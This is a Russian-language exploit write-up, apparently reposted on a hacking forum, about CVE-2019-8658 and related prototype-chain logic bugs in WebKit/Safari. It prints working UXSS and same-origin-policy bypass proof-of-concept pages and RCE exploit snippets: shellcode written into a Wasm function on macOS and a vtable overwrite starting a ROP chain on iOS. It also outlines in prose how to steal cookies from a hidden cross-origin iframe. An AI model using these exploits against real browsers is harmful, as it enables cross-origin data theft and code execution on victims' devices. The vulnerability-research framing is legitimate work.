CVE-2019-8658 - Захват Webkit

CVE-2019-8658 - Захват Webkit

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение 

0 - Введение

В этой статье описывается процесс обнаружения и эксплуатации ряда логических ошибок в Webkit, который разбивает полностью всю модель безопасности браузера на части.

Весьма прискорбно, что ошибка UXSS уже была передана в Apple в 2017 году, и стало возможным исключить существование этого варианта, просто поискав другие экземпляры этого шаблона в базе кода.

1 - Обзор CSP:

1.1 - Определения:

1.1.1 - XSS

ОТ [1]:

"Межсайтовый скриптинг (XSS) - это атака с внедрением кода на стороне клиента. Злоумышленник стремится выполнить вредоносные сценарии в веб-браузере жертвы путем включения вредоносного кода в веб-страницу законного сайта или в веб-приложение. Фактическая атака происходит, когда жертва посещает веб-страницу или веб-приложение, которое выполняет вредоносный код. Веб-страница или веб-приложение становятся средством доставки вредоносного скрипта в браузер пользователя. Уязвимые средства транспортировки, которые обычно используются для межсайтовых скриптинговых атак, - это форумы, доски объявлений и веб-страницы, которые позволяют оставлять комментарии."

1.1.2 - UXSS

ОТ [2]:

"В отличие от обычных XSS-атак, UXSS - это тип атаки, который использует уязвимости на стороне клиента в браузере или расширения браузера для того, чтобы создать условия для выполнения XSS, и выполнить вредоносный код. Когда такие уязвимости обнаруживаются и используются, затрагивается поведение браузера и его функции безопасности могут быть обойдены или отключены."

1.1.3 - CSP

С mozilla.org [3]:

"Политика безопасности контента (Content Security Policy - CSP) - это дополнительный уровень безопасности, который помогает обнаруживать и уменьшать вероятность положительного исхода некоторых типов атак, в том числе Межсайтовый скриптинг (XSS) и атак с использованием внедрения данных(data injection attacks). Эти атаки используются для всего: от кражи данных до порчи сайтов и распространения вредоносных программ.

[...]

[...]

Угрозы.

Основная цель CSP состоит в том, чтобы уменьшить вероятность положительного исхода (смягчить) и сообщить об XSS-атаках. Атаки XSS используют доверие браузера к контенту, полученному с сервера. Вредоносные сценарии выполняются браузером жертвы, потому что браузер доверяет источнику контента, даже если он не исходит оттуда, откуда он кажется, что исходит и должен исходить."

1.1.4 - SOP

Из wikipedia.org [4]:

"В вычислительной технике политика того же происхождения является важной концепцией в модели безопасности веб-приложений. В соответствии с этой политикой веб-браузер разрешает сценариям, содержащимся на первой веб-странице, доступ к данным на второй веб-странице, но только если обе веб-страницы имеют одинаковое происхождение. Источник определяется как комбинация схемы URI, имени хоста и номера порта. Эта политика запрещает вредоносному сценарию на одной странице получать доступ к конфиденциальным данным на другой веб-странице через объектную модель документа (Document Object Model) этой страницы."

1.2 - Реализация CSP в Webkit - краткий обзор

Для обеспечения CSP в браузере Safari основные определения реализованы в:

webkit/tree/master/Source/WebCore/page/csp[5].

Читателю рекомендуется взглянуть на реализацию самостоятельно, но мы бы описали некоторые основные функции и использование этой реализации в webkit:

В общем, если мы посмотрим на …/ContentSecurityPolicy.cpp из источника [5], мы можем увидеть набор API, которые будут использоваться рендерером и другими DOM Компонентами. В качестве примера мы рассмотрим следующий конструктор:

C++:

ContentSecurityPolicy::ContentSecurityPolicy(URL&& protectedURL,
                ContentSecurityPolicyClient* client)
    : m_client { client }
    , m_protectedURL { WTFMove(protectedURL) }
{
    updateSourceSelf(SecurityOrigin::create(m_protectedURL).get());
}

Как мы видим, при создании объекта DOM, при рендеринге или с помощью DOM API, политика CSP инициирована, чтобы быть проверенной позже для любых возможных violations. Предоставляется дополнительный набор API. Например, для проверки доступа на странице, следующий класс реализован внутри webkit/blob/master/Source/WebCore/page/SecurityOrigin.cpp#L1866 [6]:

C++:

Ref<SecurityOrigin> SecurityOrigin::create(const URL& url)
{
    if (RefPtr<SecurityOrigin> cachedOrigin = getCachedOrigin(url))
        return cachedOrigin.releaseNonNull();

    if (shouldTreatAsUniqueOrigin(url))
        return adoptRef(*new SecurityOrigin);

    if (shouldUseInnerURL(url))
        return adoptRef(*new SecurityOrigin(extractInnerURL(url)));

    return adoptRef(*new SecurityOrigin(url));
}

Например, этот класс содержит следующую функцию API:

Код:

bool SecurityOrigin::canAccess(const SecurityOrigin& other) const

Позже в /Source/WebCore/bindings/js/JSDOMBindingSecurity.cpp [7] этот API-интерфейс публикуется для API-интерфейса DOM и используется процессом визуализации для проверки разрешений на доступ к DOM из-за ограничений CSP:

Код:

bindings/js/JSDOMWindowCustom.cpp#L424 [8]:

bool JSDOMWindow::defineOwnProperty(JSC::JSObject* object,
  JSC::ExecState* exec, JSC::PropertyName propertyName,
  const JSC::PropertyDescriptor& descriptor, bool shouldThrow)
{
    JSDOMWindow* thisObject = jsCast<JSDOMWindow*>(object);
    // Позволять таким образом определять свойства только для фреймов с тем же источником,
    // поскольку это позволяет вводить сеттеры.
    if (!BindingSecurity::shouldAllowAccessToDOMWindow(exec,
        thisObject->wrapped(), ThrowSecurityError))
        return false;

    // Не разрешайте теневое местоположение, используя свойства аксессора.
    if (descriptor.isAccessorDescriptor() &&
        propertyName == Identifier::fromString(exec, "location"))
        return false;

    return Base::defineOwnProperty(thisObject, exec, propertyName,
        descriptor, shouldThrow);
}

В приведенной выше функции читатель должен увидеть, что прежде чем мы сможем использовать API Javascript, defineOwnProperty, JSDOMWindow API проверяет правильность разрешений, переходя к API, реализованным в [7] и определенным в [6]. Эта проверка выполняется из-за динамического характера JavaScript. Имеется ввиду даже если мы не можем загрузить скрипт напрямую к какому-либо объекту.

Определение свойства для объекта с перекрестным происхождением может вызвать обратные вызовы и привести к произвольному выполнению JavaScript в доменах с перекрестным происхождением, иными словами, доменах с разными источниками (cross-origin domains) -> что ведет к нарушению CSP.

2 - Попадание в пути уязвимого кода

2.1 - Любопытное утверждение (assert)

Во время фаззинга [9] JSC, для ошибок проверки памяти, я столкнулся со следующим тестом:

Файл assert.js:

JavaScript:

function opt(fn) {

    for ( let ttt = 0; ttt < 400; ttt ++){
        fn[ttt] = 1;                 
    }
    function dummy() {}
    const p = parseFloat.__proto__;           
    const h = {
            get:dummy,
            set:dummy
    };
    Object.defineProperty(p,12345,h);
    fn[300000000] = 17;                   
}

opt(Map);

Ожидаемая трассировка стека из отладочной сборки:

Код:

ASSERTION FAILED: !needsSlowPutIndexing(vm)
.../trunk/Source/JavaScriptCore/runtime/JSObject.cpp(1684) : JSC::ArrayStorage *JSC::JSObject::ensureArrayStorageSlow(JSC::VM &)
1   0x1177feed9 WTFCrash
2   0x10a4f9660 WTF::BasicRawSentinelNode<Worker>::remove()
3   0x116b84bb4 JSC::JSObject::ensureArrayStorageSlow(JSC::VM&)
4   0x116b86358 bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*,unsigned,int, JSC::JSValue)
5   0x116b90c89 JSC::JSObject::putByIndexBeyondVectorLength(JSC::ExecState*, unsigned int, JSC::JSValue, bool)
6   0x116b72f8b JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
7   0x116b7215a JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
8   0x114b29b2b JSC::JSObject::putInlineForJSObject(JSC::JSCell*, JSC::ExecState*, JSC::PropertyName, JSC::JSValue,JSC::PutPropertySlot&)
9   0x114b28f80 JSC::JSCell::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue,
JSC::PutPropertySlot&)
10  0x114b304fe JSC::JSValue::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
11  0x1160fe6cc JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*)
12  0x1160fc3b8 operationPutByValOptimize
13  0x248355c02a6d
14  0x1162865f3 llint_entry
15  0x116273242 vmEntryToJavaScript
16  0x115f10a19 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
17  0x115f0e31d JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
18  0x116834a75 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
19  0x10a5c0d90 runWithOptions(GlobalObject*, CommandLine&, bool&)
20  0x10a550574 jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
21  0x10a4fe9b6 int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
22  0x10a4fadae jscmain(int, char**)
23  0x10a4fab6e main
24  0x7fff7624c3d5 start
Illegal instruction: 4

2.2 - Некоторые основные понятия

Что мне нравится делать, когда я сталкиваюсь с новым сбоем, так это смотреть на то, как ругается git. После поиска нескольких, я наконец получил этот коммит: d3506e647787358365cb5aac9e769cbfeadf9c38 [10] 

Давайте процитируем немного объяснения автора об этом утверждении:

"Для тех, кто не знаком с терминологией, «have a bad time» в VM означает, что Object.prototype был изменен таким образом, что мы больше не можем тривиально осуществлять доступ к индексированным свойствам, не обращаясь к Object.prototype. Это побеждает оптимизацию проиндексированного вывода JIT и, следовательно, заставляет виртуальную машину «have a bad time»."

2.2.1 - Доступы к проиндексированному свойству

Цель этой статьи - не предоставить глубокий анализ Jit-компиляции, поэтому будут обсуждаться только самые базовые идеи, необходимые для понимания этой уязвимости.

Давайте рассмотрим следующий код JavaScript:

JavaScript:

function add(arr){
  return arr[0] + arr[1];
}

let a = [1,2]; [@]

for ( let y = 0; y < 0x1234; y++){
  let re = add(a);
}

В современном движке JavaScript оптимизаторы компилятора используются для перевода кода JavaScript в машинный код. Давайте рассмотрим замену строки, отмеченной [@], следующим кодом:

Код:

let a = ['a', 2];

При вызове функции «добавить». Дополнение может иметь два разных машинных кода. Это означает, что добавление строкового объекта и числа (в JavaScript) приведет к появлению полученной строки (в этом примере) «a2». Машинный код и номер операции будут сильно отличаться от исходного примера: в общих чертах нам необходимо:

*) загрузить индексированное свойство данного аргумента.

*) загрузить второе свойство данного аргумента.

*) преобразовать второй аргумент в строку.

*) вычислить сложение строки.

Напротив, исходный пример будет производить (грубо) следующее:

*) загрузить индексированное свойство данного аргумента.

*) загрузить второе свойство данного аргумента.

*) проверка на переполнение целочисленного сложения

*) вычислить сложение Int32.

Jit-компилятор предназначен для учета этих различий в целях экономии времени выполнения. При многократном обращении к определенному ArrayLike объекту, компилятор обращается (в JSC) к типу индексации этого объекта и генерирует оптимизированный код для этой операции.

Независимый тип определяется по адресу: IndexingType.h [11] и представляет собой структуру данных cpp в форме:

Код:

/*
    Структура IndexingType
    =============================
    Концептуально, IndexingTypeAndMisc выглядит следующим образом:
    struct IndexingTypeAndMisc {
        struct IndexingModeIncludingHistory {
            struct IndexingMode {
                struct IndexingType {
                    uint8_t isArray:1;          // bit 0
                    uint8_t shape:3;            // bit 1 - 3
                };
                uint8_t copyOnWrite:1;          // bit 4
            };
            uint8_t mayHaveIndexedAccessors:1;  // bit 5
        };
        uint8_t cellLockBits:2;                 // bit 6 - 7
    };
    Значения формы (например, Int32Shape, ContiguousShape и т.д.)
    являются перечислением различных форм (хотя и не обязательно
    последовательными с точки зрения их значений).
    Следовательно, значения формы не являются побитовым
    исключением по отношению друг к другу.
    Также принято ссылаться на форму + copyOnWrite как
    IndexingShapeWithWritability.
*/

Итак, мы можем видеть, что компилятор может, например, проверить в этом примере тип индексации объекта, к которому осуществляется доступ, и затем продолжить выполнение, если действительно найден тот же тип индексации, или выгрузить и перекомпилировать функцию для выдачи другой и более подходящий байт-код для операции доступа.

2.2.2 - «Have A bad time»

О прототипе JavaScript:

спецификация JavaScript определяет прототип объекта как метод для расширения или изменения поведения определенного объекта или класса объектов.

как утверждает MDN [12]:

"Изменения в объекте-прототипе Object видятся всеми объектами через цепочку прототипов, если только свойства и методы, подверженные этим изменениям, не переопределяются далее по цепочке прототипов. Это обеспечивает очень мощный, хотя и потенциально опасный механизм для переопределения или расширения поведения объекта."

Теперь давайте рассмотрим следующий код:

Код:

function add(arr){
  return arr[0] + arr[1];
}

let a = [1,2];

Object.defineProperty(a, 0, {
  get: function(){return 'a';}
});


for ( let y = 0; y < 0x1234; y++){
  let re = add(a);
}

Как мы видим, «прототип» объекта «а» был изменен. И теперь полученное дополнение будет таким же, как и второй пример, приведенный в разделе предварительного просмотра(секции previews). И мы уже обсуждали разницу в работе компилятора. Как заявлено автором соответствующего коммита, который добавил обсужденное выше утверждение(assert). Когда прототип объекта был изменен, допущения JIT компиляторов были нарушены, и он должен обратиться к прототипу. В JSC это состояние называется режимом «have a bad time».

2.3 - Проверка нашего Понимания первоначального сбоя

Давайте вернемся к файлу assert:

Код:

function opt(fn) {

    for ( let ttt = 0; ttt < 400; ttt ++){
        fn[ttt] = 1;                              [1]
    }
    function dummy() {}
    const p = parseFloat.__proto__;               [2]
    const h = {
            get:dummy,
            set:dummy
    };
    Object.defineProperty(p,12345,h);             [3]
    fn[300000000] = 17;                           [4]     
}

opt(Map);

Зацикленный доступ, отмеченный [1], заставляет компилятор оптимизировать доступ к данному функции аргументу.

В этом примере мы отправляем функцию Map в качестве инструмента, таким образом, при доступе к прототипу parseFloat в строке [2] мы также получаем доступ к прототипу Map, поскольку они оба наследуются от глобального объекта Function. Затем в [3] из-за последней указанной строки мы меняем прототип оптимизированного для доступа объекта.

Позже в [4] мы вызываем испущенный putByValOptimize (из-за [1]) и утверждаем, потому что компилятор вызывает putByIndexBeyondVectorLengthWithoutAttributes, который преобразует доступ к этому объекту в тип индексации режима словаря.

Эта функция всегда вызывает JSC::JSObject::ensureArrayStorageSlow. Но тип хранилища - это быстрый путь, о чем свидетельствует «operationPutByValOptimize» в трассировке стека.

Основные моменты, которые следует принять здесь:

1) putByIndex, putByIndexBeyondVectorLength не принимает во внимание изменения в прототипе объекта, и это только позже делается другой функцией в трассировке стека.

2) при определенных условиях operationPutByValOptimize является оберткой вокруг JSC::JSValue::putInline and JSC::JSValue::put (как общая ссылка на все виды функций, начинающиеся с ::put ::push и т.д и т.п.).

3) putbeyondvectorlength обеспечивает медленное хранение массивов и утверждает, что это не так. Но мы добавили доступ к индексированным свойствам, тогда мы должны быть там уже - это означает, что им не удалось смоделировать это правильно.

Поэтому теперь нам нужно задать себе следующие вопросы:

2.3.1 - RCE ??

Если мы должны были быть в «have a bad time», а putbeyondvectorlength обеспечивает медленное хранение массива.. и утверждает, что это не так (а если у нас «плохое время»(«have a bad time»), то мы должны быть там уже) и побочный эффект на совмещенном JIT коде моделируется с помощью HaveABadTime, тогда мы можем вызывать побочные эффекты в этом совмещенном коде.

qwerty также написал хороший PoC для этого здесь.

По крайней мере, они нашли способ исправить несколько экземпляров одним ударом...

это исправлено с помощью: https://github.com/WebKit/webkit/commit/fa191875bb1cce51822bef7135633bc004e6b322

2.3.2 - UXSS ??

Но, глядя на это поведение, я подумал о другом вопросе:

КТО получает прототип (Prototype) ???

2.4 - Анализ вариантов - CVE-2017-7037.

CVE-2017-7037 был обнаружен lokihardt [13] из проекта Google Project Zero [14], в апреле 2017 года. Отчет можно увидеть на трекере проблем (issue tracker) [15]

Давайте посмотрим на PoC (Proof-of-Concept) и описание этой уязвимости, данное искателем в отчете баг-трака ([15]):

«JSObject::putInlineSlow and JSValue::putToPrimitive использование getPrototypeDirect вместо getPrototype, чтобы получить прототип объекта.

Так что JSDOMWindow::getPrototype, который проверяет ту же политику происхождения (Same Origin Policy), не вызывается.

PoC показывает вызов установщика объекта другого происхождения.

PoC 1 - JSValue::putToPrimitive:

Код:

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    a.__proto__.__proto__ = f.contentWindow;

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>

»

С учетом фона, приведенного в разделе 1.3 в этой статье, читатель должен понять основную причину этой уязвимости из описания lokihardt.

2.4.1 - Реальная эксплуатация CVE-2017-7037.

если бы вы посетили исходный отчет на Google Project Zero баг-трекере [15], вы бы увидели комментарий 5:

«Комментарий 5 от cainiao…@gmail.com, Вторник, 25 июля 2017 г., 15:29 GMT+3

я не вижу, как использовать кто-нибудь может сказать мне?»

Как описано в разделе 1.3, и при условии, что мы сохраним следующий PoC в файл с именем «poc.html» и запустим его в уязвимой версии Apple Safari.

Затем просмотр раздела сети в WebInspector покажет, что мы получили два разных источника в документе:

file:// и data/… . Теперь приведенный здесь комментарий не является избыточным, поскольку это кажется нереальной проблемой: если мы можем создать iframe, где мы уже можем запускать код в (data/..), то почему это вообще проблема?

Проницательный читатель должен заметить, что замена источника данных ‘data/..’ на любой другой результат все равно приведет к присвоению свойства прототипу перекрестного происхождения.

Итак, «реальная эксплуатация» этой ошибки будет иметь вид:

*) найдите интересующий вас перекрестный домен, скажем: juicy-data.com.

*) найти доступ к некоторому определенному свойству, которое может вызвать callback (toString, valueOf),

Пример: сравнивая этот объект (а затем вызывается valueOf или toString).

Доступ к этому свойству может быть сделан с любой "боковой" загрузкой JavaScript на этот сайт.

*) Определите valueOf, обратный вызов toString для извлечения данных из этого источника, например: с помощью выдачи XMLHttpRequest, который отправляет данные document.cookie обратно на сервер, контролируемый злоумышленником.

*) Разместите страницу эксплойта, которая встраивает домен juicy-data.com в скрытый iframe и запускает на этой странице JavaScript с указанной логической проблемой.

2.4.2 - Об исправлении Apple для CVE-2017-7037.

Выполнение кода PoC CVE-2017-7037 в Safari не приведет к созданию CSP. Violation. Вместо этого кажется, что Apple исправило ошибку, заставив соответствующие операции использовать getPrototype вместо getPrototypeDirect, поэтому мы, по сути, больше не можем удерживать прототип перекрестного происхождения(cross origin prototype), поэтому мы не получим CSP violation.. Но если мы запустим следующий JavaScript код, мы сможем увидеть, что мы получаем CSP violation в отладчике:

Код:

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    Object.defineProperty(a.__proto__,'__proto__',f.contentWindow);     // Изменено..

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>

Консольный вывод:

Код:

SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame. Protocols, domains, and ports must match.

Например: ‘let v = f.contentWindow.eval’, приведет к violation.

Поэтому разработчикам нужно проверять каждую операцию, включая назначения через обсуждаемые операции.. имея два API-интерфейса: getprototype -> приводит к привязкам DOM и getprototypedirect, они в основном создали этот класс ошибок обхода CSP.. по-моему, это ошибка известного шаблона проектирования, которая может привести разработчиков к ошибкам.

3 - Обход SOP

С учетом приведенного выше анализа и после рассмотрения соответствующих функций в трассировке стека assert, можно построить следующие обходы для CVE-2017-7037:

Код:

<body>
<script>

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {

    let a = {__proto__:f.contentWindow};
    
    a[0] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};

}

f.src = 'data:text/html;charset=utf-8,' + escape("<ifra"+"me></ifr"+"ame><scr"+"ipt>Object.prototype.__defineSetter__(0, v => {'a' + v;});</scr"+"ipt>");

</script>
</body>

Код:

<body>
<script>

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {

    let a = [];

    for (let ttt = 0; ttt < 0x400; ttt++){
        a[ttt] = '';
    }
    a.__proto__.__proto__ = f.contentWindow;

    a[10101010] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};

}

f.src = 'data:text/html;charset=utf-8,' + escape("<ifra"+"me></ifr"+"ame><scr"+"ipt>Object.defineProperty(Object.prototype, 10101010, {set: function (v) {return 'a' + v;}});</scr"+"ipt>");

</script>
</body>

[и так далее]

Вам предлагается прочитать патч (обратите внимание на cocoa..).

Дальнейшие манипуляции оставлены в качестве упражнения для читателя.

4 - RCE Эксплоиты

(см. html-файлы для code execution эксплойтов):

UXSS

MacOS

IOS

4.1 - Ограничения

В текущей версии Safari (и последующих) распыления структуры более не достаточно (чтобы подделать произвольный объект).

Необходимо найти способ утечки действительного идентификатора структуры, используя творческие методы или высококачественную утечку информации, такую как эта ошибка 

#

(обратите внимание, что этой ошибки было достаточно для самостоятельного использования webkit на рабочем столе, даже с учетом всех новых мер по снижению риска).

Помимо этого, насколько мне известно, это должно работать так же...

4.2 - MacOS

Все, что нам нужно сделать для достижения выполнения собственного кода, это перезаписать функцию wasm.

как это выделено r/w/x.

По сути, это то, что делает эксплойт.

Код:

    // переписать инструкции
    // в функции Wasm и вызвать его
    // для выполнения шеллкода..
    const wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,0x00, 0x00, 0x41, 0x00, 0x0b]);
    const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
    const wasm_func = wasm_instance.exports.a;
    let pexe = addrof(wasm_instance.exports.a);
    let eaddress = memory.read_i64(Add(pexe, new Int64('0x30')),0);
    memory.write_i64( eaddress , 0, new Int64('0xcccccccccccccccc') );
    wasm_func();

4.3 - iOS <A12

Без PAC мы можем перезаписать указатель виртуальной функции div и другие поля, чтобы запустить ROP.

Следующего кода (с модификациями для поля 'b' для хранения цепочки цепочек) достаточно, так как вы можете извлечь регистры из начальной точки ROP цепочки со смещением 0x18 внутри объекта, а затем продолжить, как написано в [16].

(но не забудьте уважать ARM64 alignment..)

Код:

   let buff = {
        a: 2261634.5098039214, // + 0x10
        b: 2261634.5098039214, // + 0x18 <---  [rax] || [x0]
        c: 2261634.5098039214, // + 0x20
        // ...
        // ...
    }
   
    let addx = addrof(buff);
    var d = document.getElementById("a");
    let ad_div = addrof(d);
    let exe_ptr = memory.read_i64(Add(ad_div, new Int64('0x18')),0);
    let v_tlb = memory.read_i64(exe_ptr,0);


    // let web_core = Sub(v_tlb,new Int64('0x5024be70')); // safari 12.1.1 -> macos       корректирует смещение для ios..

    /*

       результат с:
            * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
            frame #0: 0x00007fff4b5d5898 WebCore`WebCore::jsEventTargetPrototypeFunctionDispatchEvent(JSC::ExecState*) + 152
                WebCore`WebCore::jsEventTargetPrototypeFunctionDispatchEvent:
                    ->  0x7fff4b5d5898 <+152>: call   qword ptr [rax]
                        0x7fff4b5d589a <+154>: cmp    eax, 0x26
                        0x7fff4b5d589d <+157>: jne    0x7fff4b5d58c8            ; <+200>
                        0x7fff4b5d589f <+159>: mov    rdi, rbx
          
            (lldb) reg r
            General Purpose Registers:
                rax = 0x000000056a47fdf8 <-- указывает на то, что внутри объекта+0x18     ||              x0
            
                    (lldb) x/10gx $rax --считать 1
                        0x56a47fdf8: 0x4142414141414141        ||                 x8
                                    
                rbx = 0x000000056df00240 <-- указывает на объект+0x18,        
            
                    (lldb) x/10gx $rbx --считать 1
                        0x56df00240: 0x000000056a47fdf8
                    (lldb)
                
                rdi = 0x000000056df00240 <-- указывает на объект+0x18,           ||                x20
                                      

            Exception Type:  EXC_BAD_ACCESS (SIGBUS)
            Exception Subtype: EXC_ARM_DA_ALIGN at 0x0042414141414141
            VM Region Info: 0x42414141414141 is not in any region.  Bytes after previous region: 18649030044188994
                REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
                JS JIT generated code  0000000f96108000-0000000f9610c000 [   16K] ---/rwx SM=NUL

            Thread 0 name:  Dispatch queue: com.apple.main-thread
            Thread 0 Crashed:
            0   ???                               0x0042414141414141 0 + 18649096986378561
            1   ???                               0x0000000f8e10c200 0 + 66807972352
            2   ???                               0x0000000f8e12f770 0 + 66808117104
            3   JavaScriptCore                    0x00000001918f53c4 0x1916d4000 + 2233284
            4   JavaScriptCore                    0x00000001918f53c4 0x1916d4000 + 2233284            
            
                Thread 0 crashed with ARM Thread State (64-bit):
            x0: 0x0000000105c00240   x1: 0x0000000000000010   x2: 0x0000000000000001   x3: 0x000000016f2c5848
            x4: 0x00000001087a0780   x5: 0x000000016f2c55c0   x6: 0x0000000102ef0c40   x7: 0x0000000000000000
            x8: 0x4142414141414141   x9: 0x000000010801cfb0  x10: 0x0000000000000005  x11: 0x0000000000000000
            x12: 0x00000001baef0ec8  x13: 0x00000000cf0dc550  x14: 0x000000000000000f  x15: 0x0000000000000000
            x16: 0x0000000000000000  x17: 0x00000001032114a0  x18: 0x0000000000000000  x19: 0x000000016f2c5980
            x20: 0x0000000105c00240  x21: 0xffff000000000002  x22: 0x0000000000000002  x23: 0x000000016f2c5fc8
            x24: 0x000000010489ed60  x25: 0x0000000104804010  x26: 0x0000000102cb1c00  x27: 0xffff000000000000
            x28: 0xffff000000000002   fp: 0x000000016f2c5970   lr: 0x00000001931a2d78
                sp: 0x000000016f2c5920   pc: 0x0042414141414141 cpsr: 0x80000000 
            
                    
    */

    memory.write_i64(exe_ptr,0,new Int64(Add(addx, new Int64('0x18'))));  
    d.dispatchEvent(new Event('click'));

4.4 - A12

Будь креативным!

4.5 - Заметка и Подсказка об исправлении рендерера для обхода SOP.

Каждая загруженная страница (объект документа - document object) будет иметь связанный объект "SecurityOrigin. В то время как часть UXSS популярна, вы должны заметить, что есть другие поля, кроме m_universal_access =)

Давайте просто скажем, что если вы перейдете в локальное хранилище, то сможете прочитать некоторые визуализируемые локальные файлы, а broker также примет протокол и «хост», принимая решение предоставить доступ к определенным действиям…

5 - Рекомендации

Я не буду создавать никаких других статей для описания иных ошибок, которые я нашел в webkit, но они будут загружены в мой git в конечном итоге..

Для дальнейшего чтения о других классах ошибок UXSS я рекомендую: 

https://ai.google/research/pubs/pub48028

https://www.zerodayinitiative.com/advisories/ZDI-19-683/

https://support.apple.com/en-us/HT210346

https://www.acunetix.com/websitesecurity/cross-site-scripting/

https://www.acunetix.com/blog/articles/universal-cross-site-scripting-uxss/

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

https://en.wikipedia.org/wiki/Same-origin_policy

https://github.com/WebKit/webkit/tree/master/Source/WebCore/page/csp

https://github.com/WebKit/webkit/blob/master/Source/WebCore/page/SecurityOrigin.cpp#L1866

https://github.com/WebKit/webkit/blob/89c28d471fae35f1788a0f857067896a10af8974/Source/WebCore/bindings/js/JSDOMBindingSecurity.cpp

https://github.com/WebKit/webkit/blob/5cf2d3ed6657a12a51898d9bb0377aab0ef260a1/Source/WebCore/bindings/js/JSDOMWindowCustom.cpp#L424

https://en.wikipedia.org/wiki/Fuzzing

https://github.com/WebKit/webkit/commit/d3506e647787358365cb5aac9e769cbfeadf9c38

https://github.com/WebKit/webkit/blob/85a3183f296802817525ce6b0b33d911bf588312/Source/JavaScriptCore/runtime/IndexingType.h

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype

https://bugs.chromium.org/u/64750745/

https://googleprojectzero.blogspot.com/

https://bugs.chromium.org/p/project-zero/issues/detail?id=1240

https://t.co/0AkPMpaNc7

Минимальный PoC & ref для кода эксплойта:

Код:

/*         

        [0] https://bugs.webkit.org/show_bug.cgi?id=196315    
        [1] http://rce.party/wtf.js
        [2] https://github.com/saelo/cve-2018-4233
        [3] https://github.com/LinusHenze/WebKit-RegEx-Exploit
    
    
        вот как я узнал об этой ошибке (после того, как подробности о других уязвимостях станут общедоступными,
            тогда будет полная техническая рецензия на эту тему):
    
        function opt(fn) {

            for ( let ttt = 0; ttt < 400; ttt ++){
                fn[ttt] = 1;                 
            }
            function dummy() {}
            const p = parseFloat.__proto__;           
            const h = {
                    get:dummy,
                    set:dummy
            };
            Object.defineProperty(p,12345,h);
            fn[300000000] = 17;                   
        }

        opt(Map);    
    
    
        ASSERTION FAILED: !needsSlowPutIndexing(vm)
        .../trunk/Source/JavaScriptCore/runtime/JSObject.cpp(1684) : JSC::ArrayStorage *JSC::JSObject::ensureArrayStorageSlow(JSC::VM &)
        1   0x1177feed9 WTFCrash
        2   0x10a4f9660 WTF::BasicRawSentinelNode<Worker>::remove()
        3   0x116b84bb4 JSC::JSObject::ensureArrayStorageSlow(JSC::VM&)
        4   0x116b86358 bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*,unsigned,int, JSC::JSValue)
        5   0x116b90c89 JSC::JSObject::putByIndexBeyondVectorLength(JSC::ExecState*, unsigned int, JSC::JSValue, bool)
        6   0x116b72f8b JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
        7   0x116b7215a JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
        8   0x114b29b2b JSC::JSObject::putInlineForJSObject(JSC::JSCell*, JSC::ExecState*, JSC::PropertyName, JSC::JSValue,JSC::PutPropertySlot&)
        9   0x114b28f80 JSC::JSCell::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
        10  0x114b304fe JSC::JSValue::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
        11  0x1160fe6cc JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*)
        12  0x1160fc3b8 operationPutByValOptimize
        13  0x248355c02a6d
